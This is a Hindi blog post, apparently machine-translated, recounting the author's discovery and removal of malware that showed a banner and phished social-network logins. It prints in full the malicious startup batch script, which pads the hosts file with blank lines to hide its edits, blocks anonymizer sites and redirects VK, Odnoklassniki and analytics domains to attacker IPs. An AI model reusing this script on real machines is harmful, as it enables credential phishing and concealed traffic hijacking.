एक साधारण वायरस के साथ आसान पैठ या संघर्ष

आपके कंप्यूटर पर एक रोमांचक कार्रवाई काफी अप्रत्याशित रूप से होती है और, एक नियम के रूप में, सबसे inopportune क्षण में। यह सब बस शुरू होता है, आप अपने पसंदीदा साइट या सोशल नेटवर्क पर जाते हैं और कुछ असामान्य पाते हैं ...

यह मेरे कंप्यूटर के साथ हुआ। मैं साइट पर जाता हूं, मुझे बाएं कोने में एक अशोभनीय चित्र (विज्ञापन बैनर) दिखाई देता है। मेरे दिमाग में 2 विचार कौंध गए:

• मेरा ब्राउज़र संक्रमित है
• साइट संक्रमित है

कई स्थलों पर घूमने और इस बैनर को न देखने के बाद, मैंने निष्कर्ष निकाला कि साइट अभी भी संक्रमित है। चूंकि यह एक काफी बड़ी कंपनी की साइट थी, इसलिए मैंने उन लोगों को बुलाया। समर्थन करते हैं। उन्होंने सुना, सतर्कता के लिए आभार व्यक्त किया, लेकिन बातचीत के दौरान उन्होंने बताया कि उनके पास यह बैनर किसी भी ब्राउज़र में प्रदर्शित नहीं है।

साइट विश्लेषण

मैंने साइट की खोज शुरू की, और मैंने देखा कि यैंडेक्स मीट्रिक कोड में एक लाइन है:

<noscript><div><img src="//mc.yandex.ru/watch/image2.jpg" style="position:absolute; ..." alt=""></div></noscript> 

यह वह है जो बैनर दिखाता है। यह पूरी तरह से स्पष्ट नहीं है कि यह टैग में कैसे किया गया है, लेकिन यह स्पष्ट है कि छवि का लिंक फ़िशिंग है।

होस्ट फ़ाइल

हमें होस्ट फ़ाइल (% windir% \ system32 \ driver \ etc \ मेजबान) के लिए भेजा जाता है।
और यहां मैंने एक गंभीर गलती की : खोला, देखा, पूरी संख्या, बंद। हालाँकि, मैंने स्क्रॉल बार पर ध्यान नहीं दिया जो दिखाई दिया।

स्टार्टअप

हम स्टार्टअप पर जाते हैं (स्टार्ट-> रन-> msconfig) और फाइल शुरू करते हैं। निम्नलिखित सामग्री के साथ:

 FOR /L %%i IN (1,1,255) DO echo. >> %windir%\system32\drivers\etc\hosts echo 127.0.0.1 obhodilka.ru raskruty.ru jelya.ru pinun.ru websplatt.ru diazoom.ru anonim.ttu.su >> %windir%\system32\drivers\etc\hosts echo 127.0.0.1 webvpn.org unboo.ru anonim.do.am anonimvk.ru nemir.ru vkanonim.ru nezayti.ru >> %windir%\system32\drivers\etc\hosts echo 127.0.0.1 webmurk.ru waitplay.ru dostupest.ru anonimix.ru nekontakt2.ru hellhead.ru >> %windir%\system32\drivers\etc\hosts echo 127.0.0.1 razblokirovatdostup.ru antiblock.ru dardan.ru o.vhodilka.ru cameleo.ru spoolls.com >> %windir%\system32\drivers\etc\hosts echo 127.0.0.1 adminimus.ru netdostupa.com dostyp.ru anonymizer.ru xy4-anonymizer.ru v.vhodilka.ru >> %windir%\system32\drivers\etc\hosts echo 127.0.0.1 vhodilka.ru ok-anonimaizer.ru neklassniki.ru timp.ru urlbl.ru workandtalk.ru >> %windir%\system32\drivers\etc\hosts echo 46.251.249.137 m.odnoklassniki.ru my.mail.ru www.odnoklassniki.ru vk.com odnoklassniki.ru m.vk.com wap.odnoklassniki.ru >> %windir%\system32\drivers\etc\hosts echo 46.251.249.136 mc.yandex.ru admulti.com counter.rambler.ru counter.spylog.com www.google-analytics.com >> %windir%\system32\drivers\etc\hosts.txt 

यह स्पष्ट हो जाता है कि मेजबानों में बैच फ़ाइल की पहली पंक्ति 255 खाली लाइनें बनाती है। इसीलिए, मेजबानों को देखते हुए, मैंने कुछ नहीं देखा। संशोधन को नोटिस करने के लिए बहुत अंत तक जाना आवश्यक था।

इस प्रकार, उन सभी साइटों पर जिन पर Google Analytics और Yandex मेट्रिक्स खड़े थे, यह बैनर दिखाई दिया। और सभी सामाजिक नेटवर्क में, एक फ़िशिंग साइट जुड़ी हुई थी, जहां आप आसानी से "दुश्मन" को अपने पृष्ठ तक पहुंच प्रदान कर सकते थे।

स्टार्टअप से बैच फ़ाइल को हटाने, मेजबानों को साफ करने के लिए आवश्यक था, क्योंकि सब कुछ जगह में गिर गया था। जिस तरह से कीट ने कंप्यूटर में प्रवेश किया वह एक रहस्य बना रहा।

निष्कर्ष

इस पूरी कहानी में, निम्नलिखित आश्चर्य की बात है:

• कंप्यूटर पर कैसपर्सकी एंटी-वायरस स्थापित किया गया था, जो मेजबान फ़ाइल के संशोधन के साथ लड़ने के कोई संकेत नहीं दिखाते थे, स्टार्टअप में बैच फ़ाइल और बैनर की उपस्थिति (पूर्ण स्कैन के बाद भी)।
• ओएस विंडोज 7 काफी शांति से प्रत्येक बूट पर start.bat निष्पादित करने की अनुमति दी।